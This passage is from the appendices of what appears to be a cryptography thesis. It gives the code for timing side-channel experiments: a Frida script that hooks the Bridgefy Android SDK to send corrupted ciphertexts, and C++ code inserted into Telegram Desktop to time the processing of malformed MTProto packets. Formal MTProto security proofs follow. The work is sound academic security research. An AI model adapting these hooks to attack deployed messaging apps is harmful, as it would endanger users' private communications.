p3a_script = p3a_process.create_script(f.read())

if args.first == GADGET_DEVICE:
run_script(p3a_script , args.msgtype3a , GADGET_DEVICE , args.flip , args.delay

)
run_script(pxl_script , args.msgtypeXL , ROOT_DEVICE , args.flip , args.delay)

else:
run_script(pxl_script , args.msgtypeXL , ROOT_DEVICE , args.flip , args.delay)
run_script(p3a_script , args.msgtype3a , GADGET_DEVICE , args.flip , args.delay

)

sys.stdin.read()

Listing B.4. frida-experiment.js.

// timing side channel experiment script

// package and class paths

const PATH_BRIDGEFY = ’com.bridgefy.sdk.client.Bridgefy ’;
const PATH_MESSAGE = ’com.bridgefy.sdk.client.Message ’;

// experiment parameters

var MSGTYPE; // 0 - good messages , 1 - bad encryption , 2 - bad gzip
var DOUBLE; // whether it is run on one device or two
var DELAY; // delay between sending messages in ms
var FLIP; // are we bitflipping or sending completely random data?
var DEVICE; // which device we are running this instance on

recv(’params ’, function onMessage(post) {
MSGTYPE = post.msgtype;
DOUBLE = post.double;
FLIP = post.flip;
DEVICE = post.device;

198



B.3 Code for the side channel experiment

DELAY = post.delay;
});

// in the single experiment , alternate between a good and a bad message
var alt = 0;

// a silly way to determine the last packet of a message
var packetCounter = 0;
var timeSent = 0;

// generic functions

/** change the implementation of a given method */
function reimplement(name , method , newMethod) {

method.implementation = function () {
var args = Array.prototype.slice.call(arguments);

var result = method.apply(this , arguments);
if (result !== null) {

args.splice(0, 0, result);
var output = newMethod.apply(this , args);
return output;

}
};

}

/** change the arguments of a given method */
function modifyInput(name , method , inputMethod) {

method.implementation = function () {
var args = Array.prototype.slice.call(arguments);

var newArgs = inputMethod.apply(null , args);

var output = method.apply(this , newArgs);
if (output !== null) {

return output;
}

};

}

// timing experiment

/** form an incorrect ciphertext either by flipping a bit
or replacing it with random bytes */
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B.3 Code for the side channel experiment

function encryptWrong(result , publicKey , plaintext) {

if (DOUBLE || alt) {
var JavaRandom = Java.use(’java.util.Random ’);
var Random = JavaRandom.$new();

if (FLIP) {
var mask = 1 << Random.nextInt (8);
result[Random.nextInt (256)] ^= mask;

}
else {

Random.nextBytes(result);
}

alt = !alt;
}

return result;
}

/** form an incorrectly compressed payload before it’s encrypted */
function encryptWrongInput(publicKey , compressed) {

if (DOUBLE || alt) {
var JavaRandom = Java.use(’java.util.Random ’);
var Random = JavaRandom.$new();

if (FLIP === true) {
var mask = 1 << Random.nextInt (8);
compressed[Random.nextInt(compressed.length)] ^= mask;

}
else {

Random.nextBytes(compressed);
}

alt = !alt;
}

var newArgs = [publicKey , compressed ];
return newArgs;

}

/** find an instance of Bridgefy and use it to send a message */
function loop() {

Java.perform(function () {
var className = PATH_BRIDGEFY;
Java.choose(className , {

onMatch : function(instance) {
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B.3 Code for the side channel experiment

var JavaString = Java.use(’java.lang.String ’);
var JavaFloat = Java.use(’java.lang.Float’);
var JavaLong = Java.use(’java.lang.Long’);
var HashMap = Java.use(’java.util.HashMap ’);

var Message = Java.use(PATH_MESSAGE);

// create a message
var content = HashMap.$new();
// note: replace with real user uuids
var lg = "";
var pixelxl = "";
var pixel3a = "";
var name = "Pixel "+DEVICE;
var text = "hi?";
if (DEVICE === "3a") {

var sender = pixel3a;
}
else {

var sender = pixelxl;
}
var message = Message.$new(content , pixelxl ,

sender); // receiverId , senderId
content.put("ct", JavaString.$new(text));
content.put("mt", JavaFloat.$new (0));
content.put("ku", JavaFloat.$new (0));
content.put("mi", message.getUuid ());
content.put("nm", JavaString.$new(name));
content.put("ds", JavaLong.$new(message.

getDateSent ()));
content.put("et", JavaFloat.$new (1));
message.setContent(content);

// time here is for orientation , not
measurement

if (DOUBLE) {
instance.sendMessage(message);
send(DEVICE+" "+MSGTYPE+" "+Date.now())

;
}
else {

instance.sendMessage(message);
var first = Date.now();
instance.sendMessage(message);
var second = Date.now();
send(DEVICE+" "+MSGTYPE+" "+first);
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B.3 Code for the side channel experiment

send(DEVICE+" "+alt+" "+second);
}

},
onComplete : function () {
}

});
});
}

/** time the differences between last packet sent and first packet received */
function getDiffs () {

var JavaSystem = Java.use(’java.lang.System ’);
var GattServerCallback = Java.use(’com.bridgefy.sdk.framework.

controller.p’);

var rcv = GattServerCallback.onCharacteristicWriteRequest;
rcv.implementation = function () {

var value = arguments [6];
if (value [0] !== 1) {

rcv.apply(this , arguments);
}
else {

var timeRcvd = JavaSystem.nanoTime () / 1000000;

rcv.apply(this , arguments);

send(DEVICE+" diff "+( timeRcvd - timeSent));
}

}

var snt = GattServerCallback.onCharacteristicReadRequest;
snt.implementation = function () {

packetCounter = (packetCounter + 1) % 3;
if (packetCounter === 0) {

snt.apply(this , arguments);
timeSent = JavaSystem.nanoTime () / 1000000;

}
else {

snt.apply(this , arguments);
}

}
}

// give python a chance to deliver parameters before starting execution

setTimeout(function () {
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B.3 Code for the side channel experiment

if (Java.available) {
Java.perform(function () {

// measure time differences from read receipts
// only in a single experiment or if good messages are

being sent

if (DOUBLE === false || MSGTYPE === 0) {
getDiffs ();

}

// modify functions for experiment

var CryptoRSA = Java.use(’com.bridgefy.sdk.client.
CryptoRSA ’);

if (MSGTYPE === 1) {
reimplement("CryptoRSA.encrypt", CryptoRSA.

encrypt , encryptWrong);
}
else if (MSGTYPE === 2) {

modifyInput("CryptoRSA.encrypt", CryptoRSA.
encrypt , encryptWrongInput);

}

});

// send messages in a continuous loop

setInterval(loop , DELAY);
}

}, 1000);

203



No machine ever volunteered more information than it was asked for, and
learning to frame questions properly was an art which often took a long time to
acquire.

— A.C. Clarke, The City and the Stars, 1956

APPENDIX C

Code for Telegram attacks

C.1 Code for the timing side-channel attack

Here, we show the code referred to in Section 5.4.3. Assume Telegram desktop version 2.4.11.1

The experiment code (experiment.h and experiment.cpp, also attached to the electronic version
of this document) was added to Telegram/SourceFiles/core/ and called from within the method
Application::run() inside application.cpp (also attached). We use cpucycles2 to measure the
running time.

Listing C.1. experiment.cpp.

//
// experiment.cpp
// not part of Telegram codebase
//

#include "experiment.h"

#include <chrono >
#include "base/bytes.h"
#include <openssl/rand.h>
#include <iostream >
#include <fstream >
#include "cpucycles.h"

#include "mtproto/session_private.h"
#include "mtproto/details/mtproto_bound_key_creator.h"
#include "mtproto/details/mtproto_dcenter.h"
#include "mtproto/details/mtproto_dump_to_text.h"
#include "mtproto/details/mtproto_rsa_public_key.h"
#include "mtproto/session.h"
#include "mtproto/mtproto_rpc_sender.h"
#include "mtproto/mtproto_dc_options.h"
#include "mtproto/connection_abstract.h"

1https://github.com/telegramdesktop/tdesktop/tree/v2.4.11
2https://www.ecrypt.eu.org/ebats/cpucycles.html
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C.1 Code for the timing side-channel attack

#include "base/openssl_help.h"
#include "base/qthelp_url.h"
#include "base/unixtime.h"
#include "zlib.h"

int _numTrials = 10000;
int _msgLength = 1024;
bool _samePacket = true;
bool _runOnInit = false;
bool _cpucycles = false;

namespace MTP {
namespace details {

constexpr auto kMaxMessageLength = 16 * 1024 * 1024;
constexpr auto kIntSize = static_cast <int >( sizeof(mtpPrime));
AuthKeyPtr _encryptionKey;
MTP:: AuthKey ::Data _authKey;
uint64 _keyId;
ConnectionPointer _connection;

// adapted from DcKeyCreator :: dhClientParamsSend
/* generate random authKey and set corresponding encryption key and id */
void generateEncryptionKey () {

auto key = bytes:: vector (256);
bytes:: set_random(key);
AuthKey :: FillData(_authKey , bytes:: make_span(key));
_encryptionKey = std:: make_shared <AuthKey >( _authKey);
_keyId = _encryptionKey ->keyId();

}

// plain copy of SessionPrivate :: ConstTimeIsDifferent
/* used for SHA checks */
[[ nodiscard ]] bool ConstTimeIsDifferent(

const void *a,
const void *b,
size_t size) {

auto ca = reinterpret_cast <const char*>(a);
auto cb = reinterpret_cast <const char*>(b);
volatile auto different = false;
for (const auto ce = ca + size; ca != ce; ++ca, ++cb) {

different = different | (*ca != *cb);
}
return different;

}

// copy from SerializedRequest , only MTProto version 2.0 and version 0 of
transport protocol
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C.1 Code for the timing side-channel attack

/* generate padding size in units (1U = 4B) */
uint32 CountPaddingPrimesCount(uint32 requestSize) {

auto result = ((8 + requestSize) & 0x03)
? (4 - ((8 + requestSize) & 0x03))
: 0;

// At least 12 bytes of random padding.
if (result < 3) {

result += 4;
}

return result;
}

// next 3 methods adapted from SessionPrivate :: sendSecureRequest , only MTProto
version 2.0

/* helper method to generate random plaintext w/ padding */
bytes::span preparePlaintext(uint32_t msgLength) {

Expects(msgLength >= 4 && msgLength % 4 == 0);

auto padLength = CountPaddingPrimesCount(msgLength /4) * 4;
// 24B external header = 8B auth_key_id + 16B msg_key
// 32B internal header = 8B salt + 8B session_id + 8B msg_id + 4B seq_no +

4B msg_length
auto length = 24 + 32 + msgLength + padLength;
//LOG((" Generated msgLength = %1, padLength = %2, length = %3.").arg(

msgLength).arg(padLength).arg(length));

// random plaintext = internal header + message + padding
auto plaintext = bytes :: vector (32 + msgLength + padLength);
bytes:: set_random(plaintext);
return plaintext;

}

/* helper method to prepare packet from given plaintext
msgLength field will be overriden according to valid value */

mtpBuffer preparePacket(bool valid , uint32_t msgLength , bytes::span plaintext)
{
int plaintextLength = plaintext.size();
Expects(plaintextLength >= 48 && plaintextLength % 16 == 0);

// msg_key = SHA -256( auth_key [96:128] || message)[8:24]

uchar encryptedSHA256 [32];
MTPint128 &msgKey (*( MTPint128 *)(encryptedSHA256 + 8));

SHA256_CTX msgKeyLargeContext;
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C.1 Code for the timing side-channel attack

SHA256_Init (& msgKeyLargeContext);
SHA256_Update (& msgKeyLargeContext , _encryptionKey ->partForMsgKey(false),

32); // encrypt to self
SHA256_Update (& msgKeyLargeContext , plaintext.data(), plaintext.size());
SHA256_Final(encryptedSHA256 , &msgKeyLargeContext);

if (!valid) {
msgLength = kMaxMessageLength + 1; // over the limit

}
memcpy(plaintext.data() + 28, &msgLength , 4);

auto fullSize = plaintext.size() / sizeof(mtpPrime); // should equal
length /4 - 6

auto packet = _connection ->prepareSecurePacket(_encryptionKey ->keyId(),
msgKey , fullSize);

const auto prefix = packet.size(); // 8 due to tcp prefix and resizing
packet.resize(prefix + fullSize);

// adapted from aesIgeEncrypt(plaintext.data(), &packet[prefix], fullSize *
sizeof(mtpPrime), _encryptionKey , msgKey) call

MTPint256 aesKey , aesIV;
_encryptionKey ->prepareAES(msgKey , aesKey , aesIV , false); // encrypt to

self
aesIgeEncryptRaw(plaintext.data(), &packet[prefix], fullSize * sizeof(

mtpPrime),
static_cast <const void*>(& aesKey), static_cast <const void

*>(&aesIV));

return packet;
}

/* generate packet with given msgLength (w/o TCP prefix) that can be processed
client -side
2 cases to distinguish:
valid = msgLength check passes but SHA check fails
!valid = msgLength check doesn ’t pass */

mtpBuffer preparePacket(bool valid , uint32_t msgLength) {
return preparePacket(valid , msgLength , preparePlaintext(msgLength));

}

// copy of SessionPrivate :: handleReceived , only MTProto version 2.0, network
connection calls commented out

/* process received packet */
void handlePacket(mtpBuffer intsBuffer) {

Expects(_encryptionKey != nullptr);

/* network connection management */
// onReceivedSome ();
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/* assume packets come in one by one (usually the case) */
//while (! _connection ->received ().empty()) {
// auto intsBuffer = std::move(_connection ->received ().front());
// _connection ->received ().pop_front ();

constexpr auto kExternalHeaderIntsCount = 6U; // 2 auth_key_id , 4 msg_key
constexpr auto kEncryptedHeaderIntsCount = 8U; // 2 salt , 2 session , 2

msg_id , 1 seq_no , 1 length
constexpr auto kMinimalEncryptedIntsCount = kEncryptedHeaderIntsCount + 4U;

// + 1 data + 3 padding
constexpr auto kMinimalIntsCount = kExternalHeaderIntsCount +

kMinimalEncryptedIntsCount;
auto intsCount = uint32(intsBuffer.size());
auto ints = intsBuffer.constData ();
if (( intsCount < kMinimalIntsCount) || (intsCount > kMaxMessageLength /

kIntSize)) {
LOG(("TCP Error: bad message received , len %1").arg(intsCount *

kIntSize));
TCP_LOG (("TCP Error: bad message %1").arg(Logs::mb(ints , intsCount *

kIntSize).str()));

// return restart ();
return;

}
if (_keyId != *( uint64 *)ints) {

LOG(("TCP Error: bad auth_key_id %1 instead of %2 received").arg(_keyId
).arg(*( uint64 *)ints));

TCP_LOG (("TCP Error: bad message %1").arg(Logs::mb(ints , intsCount *
kIntSize).str()));

// return restart ();
return;

}

auto encryptedInts = ints + kExternalHeaderIntsCount;
auto encryptedIntsCount = (intsCount - kExternalHeaderIntsCount) & ~0x03U;
auto encryptedBytesCount = encryptedIntsCount * kIntSize;
auto decryptedBuffer = QByteArray(encryptedBytesCount , Qt:: Uninitialized);
auto msgKey = *( MTPint128 *)(ints + 2);

// version 2.0 only
aesIgeDecrypt(encryptedInts , decryptedBuffer.data(), encryptedBytesCount ,

_encryptionKey , msgKey);

auto decryptedInts = reinterpret_cast <const mtpPrime*>( decryptedBuffer.
constData ());

auto serverSalt = *( uint64 *)&decryptedInts [0];
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auto session = *( uint64 *)&decryptedInts [2];
auto msgId = *( uint64 *)&decryptedInts [4];
auto seqNo = *( uint32 *)&decryptedInts [6];
auto needAck = ((seqNo & 0x01) != 0);

auto messageLength = *( uint32 *)&decryptedInts [7];
if (messageLength > kMaxMessageLength) {

LOG(("TCP Error: bad messageLength %1").arg(messageLength));
TCP_LOG (("TCP Error: bad message %1").arg(Logs::mb(ints , intsCount *

kIntSize).str()));

// return restart ();
return;

}
auto fullDataLength = kEncryptedHeaderIntsCount * kIntSize + messageLength;

// Without padding.

// Can underflow , but it is an unsigned type , so we just check the range
later.

auto paddingSize = static_cast <uint32 >( encryptedBytesCount) - static_cast <
uint32 >( fullDataLength);

constexpr auto kMinPaddingSize = 12U;
constexpr auto kMaxPaddingSize = 1024U;
auto badMessageLength = (paddingSize < kMinPaddingSize || paddingSize >

kMaxPaddingSize);

std::array <uchar , 32> sha256Buffer = { { 0 } };

SHA256_CTX msgKeyLargeContext;
SHA256_Init (& msgKeyLargeContext);
SHA256_Update (& msgKeyLargeContext , _encryptionKey ->partForMsgKey(false),

32);
SHA256_Update (& msgKeyLargeContext , decryptedInts , encryptedBytesCount);
SHA256_Final(sha256Buffer.data(), &msgKeyLargeContext);

constexpr auto kMsgKeyShift = 8U;
if (ConstTimeIsDifferent (&msgKey , sha256Buffer.data() + kMsgKeyShift ,

sizeof(msgKey))) {
LOG(("TCP Error: bad SHA256 hash after aesDecrypt in message"));
TCP_LOG (("TCP Error: bad message %1").arg(Logs::mb(encryptedInts ,

encryptedBytesCount).str()));

// return restart ();
return;

}

if (badMessageLength || (messageLength & 0x03)) {
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LOG(("TCP Error: bad msg_len received %1, data size: %2").arg(
messageLength).arg(encryptedBytesCount));

TCP_LOG (("TCP Error: bad message %1").arg(Logs::mb(encryptedInts ,
encryptedBytesCount).str()));

// return restart ();
return;

}

// rest of code cut , should never reach here
LOG(("EXP: Something went wrong."));

}

}
} // namespace MTP:: details

/* write the timing data to log file
settings -> typing "viewlogs" shows the folder */

void writeToFile(std:: string createTime , std:: string msg) {
std:: ofstream timeFile;
std:: string c_string;
if (getCpucycles ()) {

c_string = "_c";
} else {

c_string = "";
}
std:: string path = cWorkingDir ().toStdString () + createTime + "_" + std::

to_string(_msgLength)
+ "_" + std:: to_string(_samePacket) + "_" + std:: to_string(_numTrials)

+ c_string + ".csv";
timeFile.open(path.data(), std:: ios_base ::app);
timeFile << msg.data();
timeFile.close();

}

/* set experiment parameters */
void setNumTrials(int numTrials) {

_numTrials = numTrials;
}

void setMsgLength(int msgLength) {
_msgLength = msgLength;

}

void setSamePacket(bool samePacket) {
_samePacket = samePacket;

}
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void setRunOnInit(bool runOnInit) {
_runOnInit = runOnInit;

}

void setCpucycles(bool cpucycles) {
_cpucycles = cpucycles;

}

int getNumTrials () {
return _numTrials;

}

int getMsgLength () {
return _msgLength;

}

bool getSamePacket () {
return _samePacket;

}

bool getRunOnInit () {
return _runOnInit;

}

bool getCpucycles () {
return _cpucycles;

}

/* generate a number of packets to process client -side
and time processing to first error (in microseconds) */

std:: string doExperiment () {
const auto createTime = QDateTime :: currentDateTime ();
auto timeFile = createTime.toString("yyyy -MM-dd_hh -mm -ss -zzz");
LOG(("EXP: %1: Do %2 trials with message length %3B.").arg(timeFile).arg(

_numTrials).arg(_msgLength));

MTP:: details :: generateEncryptionKey ();
bytes::span plaintext;
mtpBuffer packet;

if (_samePacket) {
//LOG(("EXP: Using a single plaintext ."));
plaintext = MTP:: details :: preparePlaintext(_msgLength);

}

for (int i = 0; i < 2 * _numTrials; i++) {
bool valid = i < _numTrials;
if (_samePacket) {
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if (i == 0 || i == _numTrials) {
packet = MTP:: details :: preparePacket(valid , _msgLength ,

plaintext);
}

} else {
packet = MTP:: details :: preparePacket(valid , _msgLength);

}

// shuffling data around between the two methods
auto bufferSize = packet.size() - 2; // w/o tcp prefix
auto buffer = mtpBuffer(bufferSize);
memcpy(buffer.data(), packet.data() + 2, bufferSize * sizeof(mtpPrime))

;

std:: string diff_str;
if (getCpucycles ()) {

auto t1 = cpucycles ();
MTP:: details :: handlePacket(buffer);
auto t2 = cpucycles ();
auto diff = t2 - t1;
diff_str = std:: to_string(diff);

} else {
auto t1 = std:: chrono :: steady_clock ::now();
MTP:: details :: handlePacket(buffer);
auto t2 = std:: chrono :: steady_clock ::now();
std:: chrono ::duration <double , std::micro > diff = t2 - t1;
diff_str = std:: to_string(diff.count ());

}

writeToFile(timeFile.toStdString (), std:: to_string(valid)+","+diff_str+
"\n");

}

if (getRunOnInit ()) {
exit (0);

}

return timeFile.toStdString ();
}
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We shall not cease from exploration
And the end of all our exploring
Will be to arrive where we started
And know the place for the first time.

— T. S. Eliot, Little Gidding, 1942

APPENDIX D

Additional MTProto definitions and proofs

The following sections collate the appendices to Chapter 6. We refer to Section 2.2 for the syntax of
the game-hopping proofs.

D.1 Support function correctness notions

In this section, we formalise two basic correctness-style properties of a support function that we
call integrity and order correctness. Both properties were specified and required (but not named) in
the robust channel framework of [FGJ20]. For our formal analysis of the MTProto protocol in
Section 6.7 we use the support function SUPP that mandates strict in-order delivery; it happens to
satisfy both of the properties formalised in this section. However, we do not mandate that every
support function must satisfy these properties so as not to constrain the range of possible channel
behaviours. The INT-security proof of our MTProto-based channel MTP-CH in Section 6.7.3 relied
on the integrity property, which we formalise here, and on two other basic properties of SUPP. The
two latter properties were informally introduced in Section 6.7.3. We do not formalise them in this
work in order to avoid introducing additional complexity.

Definition 40 (Integrity of supp). Consider the game Gsint
supp,A in Fig. D.1 defined for a support

function supp and an adversaryA. The advantage ofA in breaking the integrity of supp is defined
as Advsint

supp (A) B Pr
[
Gsint

supp,A

]
.

Gsint
supp,A

1 : (u, tru, tru, label, aux) ←$A
2 : forge←

(
�m′, aux′ : (sent,m′, label, aux′) ∈ tru

)
3 : m∗ ← supp(u, tru, tru, label, aux)
4 : return forge ∧ (m∗ ≠ ⊥)

Figure D.1. Integrity of a support function supp.

Integrity of a support function. This property roughly requires that only the messages that were
genuinely sent by another user on the channel are delivered. In particular, the support function should
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return ⊥ whenever it is evaluated on an input tuple (u, tru, tru, label, aux) such that the label label does
not appear in the opposite user’s transcript tru. The game in Fig. D.1 captures this requirement by
allowing an adversary A to choose an arbitrary input tuple for the support function supp.

Order correctness of a support function. This property roughly requires that in-order delivery
is enforced separately in each direction on the channel, assuming that a distinct label is assigned to
each network message. In particular, when evaluated on an input tuple (u, tru, tru, label, aux), we
require that the support function should return m if the opposite user’s transcript tru contains a tuple
(sent,m, label, aux) and if all prior messages from u to u were delivered and accepted strictly in-order.
It uses an auxiliary function buildList to build a list of messages sent or received by a particular user,
and it uses L0 ≼ L1 to denote that a list L0 is a prefix of another list L1.

Definition 41 (Order correctness of supp). Consider the game Gord
supp,A in Fig. D.2 defined for a

support function supp and an adversaryA. The advantage ofA in breaking the order correctness
of supp is defined as Advord

supp (A) B Pr
[
Gord

supp,A

]
.

Gord
supp,A

1 : win← false
2 : X ← ∅
3 : ASend,Recv

4 : return win

buildList(u, op)
1 : list← []
2 : for (op′,m, label, aux) ∈ tru do
3 : if op′ = op then
4 : list← list ∥ (m, label, aux)
5 : return list

Send(u,m, label, aux)
1 : if label ∈ X then return ⊥
2 : X ← X ∪ {label}
3 : tru ← tru ∥ (sent,m, label, aux)
4 : return ⊥

Recv(u,m, label, aux)
1 : m∗ ← supp(u, tru, tru, label, aux)
2 : tru ← tru ∥ (recv,m, label, aux)
3 : inOrder← buildList(u,recv)
4 : ≼ buildList(u,sent)
5 : if inOrder ∧ (m ≠ m∗) then win← true
6 : return ⊥

Figure D.2. Order correctness of a support function supp.

The game Gord
supp,A provides an adversaryA with the oracles Send and Recv which can be used to pass

messages in either direction between the two users. When querying the Send oracle, the adversary
is allowed to associate any plaintext m with an arbitrary label of its choice, as long as all labels are
distinct. The adversary controls the network, and can call its Recv oracle to deliver an arbitrary
plaintext and label pair to either user of its choice; the support function is used to determine how to
resolve the delivered network message. The adversary wins if it manages to create a situation that the
support function fails to recover a plaintext that was delivered strictly in-order in either direction.
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Recall that our support transcripts allow entries like (sent,m,⊥, aux) and (recv,⊥, label, aux), de-
noting a failure to send and receive a message respectively. Such entries cannot appear in the user
transcripts of our order correctness game because we require that adversaries never pass ⊥ as input to
their oracles (see Section 2.2). This conveniently provides us with a weak notion of order correctness
that does not prescribe the behaviour of the support function in the presence of channel errors. Our
definition can be strengthened by giving the adversary a choice to create support transcript entries that
contain ⊥; the updated game could then mandate whether in-order delivery should still be required
after an error is encountered.

D.2 Combined security of bidirectional channels

In this section, we define a security notion for channels that simultaneously captures the integrity and
indistinguishability definitions from Section 6.2.4. We call it authenticated encryption. It follows the
all-in-one definitional style of [Shr04, RS06]. We will prove that integrity and indistinguishability
together are equivalent to authenticated encryption.

Definition 42 (Authenticated encryption security of a channel). Consider the authenticated
encryption game Gae

CH,supp,A in Fig. D.3, defined for a channel CH, a support function supp and
an adversary A. The advantage of A in breaking the AE-security of CH with respect to supp is
defined as Advae

CH,supp (A) B 2 · Pr
[
Gae

CH,supp,A

]
− 1.

Gae
CH,supp,A

1 : b ←$ {0, 1}
2 : (stI, stR) ←$ CH.Init()
3 : b ′ ←$ASend,Recv

4 : return b ′ = b

Send(u,m0,m1, aux, r)
1 : if |m0 | ≠ |m1 | then return ⊥
2 : (stu, c) ← CH.Send(stu,mb , aux; r)
3 : tru ← tru ∥ (sent,mb , c, aux)
4 : return c

Recv(u, c, aux)
1 : m∗ ← supp(u, tru, tru, c, aux)
2 : (stu,m) ← CH.Recv(stu, c, aux)
3 : tru ← tru ∥ (recv,m, c, aux)
4 : if (m ≠ m∗) ∧ (b = 1) then
5 : return  
6 : return ⊥

Figure D.3. Authenticated encryption security of a channel CH with respect to a support function
supp.

In the game Gae
CH,supp,A in Fig. D.3, the adversaryA is given access to two oracles, Send andRecv. The

Send oracle is a copy of the Send oracle from the channel integrity game Gint
CH,supp,A (Fig. 6.3), except
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it is amended for the left-or-right setting. Note that the Send oracle can be queried with m0 = m1

in order to recover the functionality of Gint
CH,supp,A ’s oracle. The Recv oracle is likewise based on

the corresponding oracle of Gint
CH,supp,A , but it is amended as follows. Instead of always returning ⊥,

the Recv oracle can now alternatively return another error code  . In the spirit of [Shr04, RS06],
the oracle Recv returns ⊥ whenever the challenge bit b is equal to 0. If b = 1 and the adversary A
violated the integrity of the channel (i.e. m ≠ m∗ is true), then the Recv oracle returns  . Returning
 here signals that b = 1, and the adversary can immediately use this to win the game. Finally, if b = 1
and m = m∗, then Recv returns ⊥; this ensures that the adversary cannot trivially win by requesting
the decryption of a challenge ciphertext. Note that the adversary A can use the support function
supp to itself compute each plaintext value m that is obtained in the Recv oracle (separately for either
possible challenge bit b ∈ {0, 1}) for as long as m = m∗ has not been false yet.

AE is equivalent to INT + IND. In the following two propositions, we show that our notions of
channel integrity and indistinguishability from Section 6.2 together are equivalent to the above notion
of authenticated encryption security.

Proposition 8. Let CH be a channel. Let supp be a support function. LetAAE be any adversary against
theAE-security of CHwith respect to supp. Then we can build an adversaryAINT against the INT-security
of CH with respect to supp, and an adversary D against the IND-security of CH such that

Advae
CH,supp (AAE) ≤ 2 · Advint

CH,supp (AINT) + Advind
CH (D) .

Proof. This proof uses the games G0–G1 in Fig. D.4. The game G0 is functionally equivalent to the
authenticated encryption game Gae

CH,supp,AAE
, only adding a single instruction that sets the bad flag,

so by definition we have
Advae

CH,supp (AAE) = 2 · Pr[G0] − 1.

We obtain the game G1 by removing the only instruction from the game G0 that could have returned
the non-⊥ output; we denote this part of the code by setting bad← true. In this proof we will first
use the IND-security of CH to show that AAE cannot win if the bad flag is never set (i.e. as captured
by the game G1, which does not contain the line commented with G0). And we will then show that
the bad flag cannot be set if CH has INT-security with respect to supp.

We build the adversary D for Gind
CH,D (Fig. 6.4) in Fig. D.5. By inspection, it perfectly simulates the

oracles of the game G1 for the AE-security adversary AAE, so we can write

Pr[G1] = Pr
[
Gind

CH,D

]
=
1
2
· Advind

CH (D) +
1
2
.
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Games G0–G1

1 : b ←$ {0, 1}
2 : (stI, stR) ←$ CH.Init()
3 : b ′ ←$ASend,Recv

AE

4 : return b ′ = b

Send(u,m0,m1, aux, r)
1 : if |m0 | ≠ |m1 | then return ⊥
2 : (stu, c) ← CH.Send(stu,mb , aux; r)
3 : tru ← tru ∥ (sent,mb , c, aux)
4 : return c

Recv(u, c, aux)
1 : m∗ ← supp(u, tru, tru, c, aux)
2 : (stu,m) ← CH.Recv(stu, c, aux)
3 : tru ← tru ∥ (recv,m, c, aux)
4 : if (m ≠ m∗) ∧ (b = 1) then
5 : bad← true
6 : return  // G0

7 : return ⊥

Figure D.4. Games G0–G1 for the proof of Proposition 8.

Adversary DSend,Recv

1 : b ′ ←$ASendSim,RecvSim
AE

2 : return b ′

SendSim(u,m0,m1, aux, r)
1 : c ← Send(u,m0,m1, aux, r)
2 : return c

RecvSim(u, c, aux)
1 : Recv(u, c, aux)
2 : return ⊥

Figure D.5. Adversary D for the proof of Proposition 8.

We build the adversary AINT for Gint
CH,supp,AINT

(Fig. 6.3) in Fig. D.6. We have

Pr[G0] − Pr[G1] ≤ Pr
[
badG1

]
.

AINT perfectly simulates the oracles of the game G1 forAAE, sampling its own challenge bit b ∈ {0, 1}
and using it to consistently encrypt the appropriate challenge plaintext when simulating the oracle
Send of the game G1. Whenever the bad flag is set in the game G1, the Gint

CH,supp,AINT
game likewise

sets win = true, so we have

Pr[bad] ≤ Pr
[
Gint

CH,supp,AINT

]
= Advint

CH,supp (AINT) .
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Adversary ASend,Recv
INT

1 : b ←$ {0, 1}
2 : b ′ ←$ASendSim,RecvSim

AE

SendSim(u,m0,m1, aux, r)
1 : if |m0 | ≠ |m1 | then return ⊥
2 : c ← Send(u,mb , aux, r)
3 : return c

RecvSim(u, c, aux)
1 : Recv(u, c, aux)
2 : return ⊥

Figure D.6. Adversary AINT for the proof of Proposition 8.

Combining all of the above, we can write

Advae
CH,supp (AAE) = 2 · (Pr[G1] + (Pr[G0] − Pr[G1])) − 1

≤ 2 ·
(
1
2
· Advind

CH (D) +
1
2
+ Advint

CH,supp (AINT)
)
− 1 =

= Advind
CH (D) + 2 · Advint

CH,supp (AINT) .

This concludes the proof.

Proposition 9. Let CH be a channel. Let supp be a support function. LetA be any adversary against the
INT-security of CH with respect to supp. Let D be any adversary against the IND-security of CH. Then
we can build adversariesAINT andAIND against the AE-security of CH with respect to supp such that

Advint
CH,supp (A) ≤ Advae

CH,supp (AINT) and
Advind

CH (D) ≤ Advae
CH,supp (AIND) .

Proof. First, we build the adversary AINT in Fig. D.7.

Adversary ASend,Recv
INT

1 : ASendSim,RecvSim

2 : return 0
3 :

SendSim(u,m, aux, r)
1 : c ← Send(u,m,m, aux, r)
2 : return c

RecvSim(u, c, aux)
1 : err← Recv(u, c, aux)
2 : if err =  then abort(1)
3 : return ⊥

Figure D.7. Adversary AINT for the proof of Proposition 9.
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AINT perfectly simulates the integrity game Gint
CH,supp,A (Fig. 6.3) for A. When A queries its oracle

Send with a plaintext m as input, AINT calls its own Send oracle with the challenge plaintexts
m0 = m1 = m as input, and forwards the response back to A. When A queries its oracle Recv,
the adversary AINT first calls its own Recv oracle on the same inputs and receives back an error
code err ∈ {⊥, }. If err =  then b = 1 in the AE-security game where AINT is playing, so it calls
abort(1) to immediately halt with the return value 1, causing AINT to win the game. Alternatively,
if A terminates without triggering this condition, then AINT returns 0.

We now derive the advantage of AINT. Let b be the challenge bit in the game Gae
CH,supp,AINT

. If b = 1
then AINT returns b ′ = 1 whenever A sets win = true in the simulated game Gint

CH,supp,A . If b = 0
then AINT never returns b ′ = 1. We can write

Advae
CH,supp (AINT) = Pr

[
b ′ = 1

�� b = 1
]
− Pr

[
b ′ = 1

�� b = 0
]

≥ Pr
[
Gint

CH,supp,A

]
− 0

= Advint
CH,supp (A) .

Next, we build the adversary AIND in Fig. D.8.

Adversary ASend,Recv
IND

1 : b ′ ←$ DSendSim,RecvSim

2 : return b ′

SendSim(u,m0,m1, aux, r)
1 : c ← Send(u,m0,m1, aux, r)
2 : return c

RecvSim(u, c, aux)
1 : err← Recv(u, c, aux)
2 : if err =  then abort(1)
3 : return ⊥

Figure D.8. Adversary AIND for the proof of Proposition 9.

AIND perfectly simulates the indistinguishability game Gind
CH,D (Fig. 6.4) for the adversary D. In

particular, AIND’s oracles run the same code that D would expect from its own oracles, except for
the additional processing of transcripts and the support function that happens in the oracles of the
AE-security game. The latter does not affect the state of the channel, and can only causeAIND’s Recv
oracle to occasionally return err =  . The adversary AIND checks the error code err obtained from
its Recv oracle; it calls abort(1) to halt with the return value b ′ = 1 whenever err =  , causing it to
immediately win in the AE-security game. However, our formal statement below does not reflect the
potential improvement in the advantage that AIND might gain by doing this. Overall, if D returns
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the correct challenge bit, then so does AIND. Therefore, we can write

Advae
CH,supp (AIND) = 2 · Pr

[
Gae

CH,supp,AIND

]
− 1

≥ 2 · Pr
[
Gind

CH,D

]
− 1

= Advind
CH (D) .

This concludes the proof.

